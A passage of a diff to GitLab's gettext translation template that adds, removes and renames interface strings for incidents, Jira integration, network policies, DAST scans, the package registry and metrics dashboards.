+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
